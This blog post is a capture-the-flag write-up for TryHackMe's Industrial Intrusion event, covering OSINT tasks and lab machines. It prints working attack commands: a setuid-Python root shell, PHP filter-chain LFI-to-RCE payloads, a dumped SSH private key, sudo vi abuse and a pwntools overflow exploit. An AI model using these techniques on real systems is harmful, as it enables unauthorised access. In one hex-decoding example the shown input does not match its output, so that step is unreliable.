Post

Industrial Intrusion CTF

Introduction

I was invited to this CTF by a colleague, but I participated on my own (technically with my university team).

The CTF is structured as a TryHackMe room, which is sequential. I’m putting all of the tasks into this single document.

Task 4

In the description of the channel #ctf-discord-challenge, it shows a function that can be called.

Running /secret-function shows the flag: THM{D15C0RD_57A5H_C0MM4ND5}.

Task 5

In searching for DNS records for virelia-water.it.com, I found a DNS site that showed history for https://stage0.virelia-water.it.com/. This URL had an “ICS Operator Console” with a network request to https://raw.githubusercontent.com/SanTzu/uplink-config/refs/heads/main/init.js, which had this content:

1
2
3
4
5
var beacon = {
  session_id: "O-TX-11-403",
  fallback_dns: "uplink-fallback.virelia-water.it.com",
  token: "JBSWY3DPEBLW64TMMQQQ=="
};

The subdomain stage0 can be found “properly” by navigating to https://github.com/SanTzu and looking at his followers. One of them is https://github.com/solstice-tech1, which has a file called CNAME which contains stage0.virelia-water.it.com.

The flag for this task can be found in the other repository, here: https://github.com/solstice-tech1/ot-auth-mirror/blob/main/index.html

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta http-equiv="refresh" content="0;url=https://54484d7b5375357373737d.virelia-water.it.com/reset">
  <title>Redirecting...</title>
</head>
<body>
  <p>Redirecting to internal password reset portal...</p>
</body>
</html>

This is hex for the flag:

1
2
$ echo 48656c6c6f20576f726c64 | xxd -r -p
THM{Su5sss} 

Task 6

Running a dig command on uplink-fallback.virelia-water.it.com shows this:

1
2
3
4
5
6
7
8
$ dig uplink-fallback.virelia-water.it.com TXT

...

;; ANSWER SECTION:
uplink-fallback.virelia-water.it.com. 1799 IN TXT "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0="

...

Decrypting shows the flag:

1
2
$ echo "eyJzZXNzaW9uIjoiVC1DTjEtMTcyIiwiZmxhZyI6IlRITXt1cGxpbmtfY2hhbm5lbF9jb25maXJtZWR9In0=" | base64 --decode
{"session":"T-CN1-172","flag":"THM{uplink_channel_confirmed}"}

Task 7

The PGP key can be found here: https://github.com/virelia-water/compliance/commit/bf80b28d73cdbbccaa37c34633de98cd00e7b236

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Please confirm system integrity at 03:00 UTC.
-----BEGIN PGP SIGNATURE-----

iQFQBAEBCgA6FiEEiN7ee3MFE71e3W2fpPD+sISjEeUFAmhZTEQcHGFsZXJ0c0B2
aXJlbGlhLXdhdGVyLml0LmNvbQAKCRCk8P6whKMR5ZIUCADM7F0WpKWWyj4WUdoL
6yrJfJfmUKgJD+8K1neFosG7yaz+MspYxIlbKUek/VFhHZnaG2NRjn6BpfPSxfEk
uvWNIP8rMVEv32vpqhCJ26pwrkAaUHlcPWqM4KYoAn4eEOeHCvxHNJBFnmWI5PBF
pXbj7s6DhyZEHUmTo4JK2OZmiISP3OsHW8O8iz5JLUrA/qw9LCjY8PK79UoceRwW
tJj9pVsE+TKPcFb/EDzqGmBH8GB1ki532/1/GDU+iivYSiRjxWks/ZYPu/bhktTo
NNcOzgEfuSekkQAz+CiclXwEcLQb219TqcS3plnaO672kCV4t5MUCLvkXL5/kHms
Sh5H
=jdL7
-----END PGP SIGNATURE-----

Using GPG to verify the signature, you can find the flag:

1
2
3
4
5
6
7
8
9
$ gpg --verify task7.txt
gpg: Signature made Mon 23 Jun 2025 08:44:52 AM EDT
gpg:                using RSA key 88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg:                issuer "[email protected]"
gpg: Can't check signature: No public key
$ gpg --keyserver keyserver.ubuntu.com --recv-keys 0x88DEDE7B730513BD5EDD6D9FA4F0FEB084A311E5
gpg: key F8ED5BC28874364F: public key "Ghost (THM{h0pe_th1s_k3y_doesnt_le4d_t0_m3}) <[email protected]>" imported
gpg: Total number processed: 1
gpg:               imported: 1

Task 15

We began with an nmap that showed that finger and a website were available.

1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 14:08 EDT
Nmap scan report for 10.10.174.228
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
79/tcp open  finger
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds

The website was a static HTML chess page that described the roles of Magnus, Fabiano, and Hikaru.

Using finger, I found a base64 encoded string for Fabiano.

1
2
3
4
5
6
7
8
9
10
$ nc 10.10.174.228 79
fabiano
Login: fabiano                          Name: 
Directory: /home/fabiano                Shell: /bin/bash
Never logged in.
No mail.
Project:
Reminders
Plan:
ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=
1
2
$ echo "ZmFiaWFubzpvM2pWVGt0YXJHUUkwN3E=" | base64 --decode
fabiano:o3jVTktarGQI07q

This was the SSH password, so we found the user.txt flag:

1
2
fabiano@tryhackme-2204:~$ cat user.txt
THM{bishop_to_c4_check}

It looked like downloading scripts from the internet was disabled, but I could upload linpeas.sh via sftp. Running it showed this: /usr/bin/python3.10 cap_setuid=ep. This meant that Python could become root and find the root.txt flag:

1
2
3
fabiano@tryhackme-2204:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@tryhackme-2204:/root# cat root.txt
THM{check_check_check_mate}

Task 16

As always, we begin with an nmap:

1
2
3
4
5
6
7
8
9
Starting Nmap 7.96 ( https://nmap.org ) at 2025-06-29 15:14 EDT
Nmap scan report for 10.10.77.239
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds

There’s only a webpage, which is short enough to include here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Industrial Dev Solutions</title>
    <link rel="stylesheet" href="assets/style.css">
</head>
<body>
    <nav>
        <div class="logo">Industrial Dev Solutions</div>
        <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="view.php?page=about.php">About</a></li>
            <li><a href="view.php?page=solutions.php">Solutions</a></li>
            <li><a href="view.php?page=contact.php">Contact</a></li>
        </ul>
    </nav>

    <main>
        <h1>Welcome to Industrial Dev Solutions</h1>
        <p>Your trusted partner in industrial IoC and control-system software.</p>
        <a href="view.php?page=about.php" class="button">Learn More</a>
    </main>

    <footer>
        &copy; 2025 Industrial Dev Solutions – All rights reserved.
    </footer>
</body>
</html>

Immediately, we can see that there is likely a local file inclusion vulnerability in the way it handles links. In PHP, an LFI can lead to RCE. I like to use this script to generate payloads.

1
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("ls -la");?>' | tail -n1)"

This generates a very long payload, but it runs the ls command on the system, which shows that there is a keys directory.

1
$ echo "http://10.10.77.239/view.php?page=$(python3 php_filter_chain_generator.py --chain '<?php system("cat keys/*");?>' | tail -n1)"

This prints out an SSH private key:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

I verified this using ssh-keygen -y:

1
2
$ ssh-keygen -y -f key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1hhXA5clq0LpiUF8Xdc6yNwZ2yTBL2IsioJtKM3YGojYSIxikvnbBmL6PGX3gxO8yafhT8odxZ2QPtIwIH0uYlTL0GJf+fFsYTwD8EKJFD2BLjmPPbixYseH6sAZ3h6+BTYM8FSR1ljbcf71pKnYb22XuSBuTE29WeTTIv4/vea6Jpa3ZtJlBXoDPORVFOxYDzYgulJuXh/JUV8gUefDzl9RzzDowlPMACVbYo9TzjyzGR4lLIJGfdg1mCHos3UmrZQuFOZreVAeYmoEG0fy7eb8mi2yTAygxQTWR0cL2Mcs+ahQED/V2CdgNJY1+IcuLMoAis9LyBXMQwmzHCx4jcurEScCtoUSdJ9EF5xyZP0MvcNgRkh48bu5ca72Y+sBjZEK2/l123yzvXwXwvQbPJTolmOlOeLNcrURiScUF6EmgUMAbF+Ib9hU48sNYJ4mdegKcSK6rqXgpwk900ZfACVagTD+WpfzNlBLcclaqGksdv3DIHTzVM1xkwEHdt68= dev@tryhackme-2404

We can also see that the username is dev, which we could also verify using the LFI2RCE to run ls /home.

We have the user flag:

1
2
3
$ ssh -i key [email protected]
dev@tryhackme-2404:~$ cat user.txt 
THM{nic3_j0b_You_got_it_w00tw00t}

Inspecting the rest of the files, we can see a .bash_history. Of interest is sudo commands:

1
2
3
4
5
sudo -l
exit
sudo -l
vi
sudo vi

Running sudo -l we can see that the dev user is allowed to run sudo vi, allowing us to see the root flag:

1
dev@tryhackme-2404:~$ sudo vi /root/root.txt
1
THM{y0u_g0t_it_welldoneeeee}

Task 28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

from pwn import *

exe = ELF("./start")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("10.10.170.100", 9008)

    return r


def main():
    r = conn()

    # good luck pwning :)
    offset = 0x30 + 8
    payload = flat({
        offset: exe.sym["print_flag"]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[*] '/tmp/thm/start'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to 10.10.170.100 on port 9008: Done
[*] Switching to interactive mode
Enter your username: Welcome, admin!

THM{nice_place_t0_st4rt}

THM{nice_place_t0_st4rt}

[*] Got EOF while reading in interactive
This post is licensed under CC BY 4.0 by the author.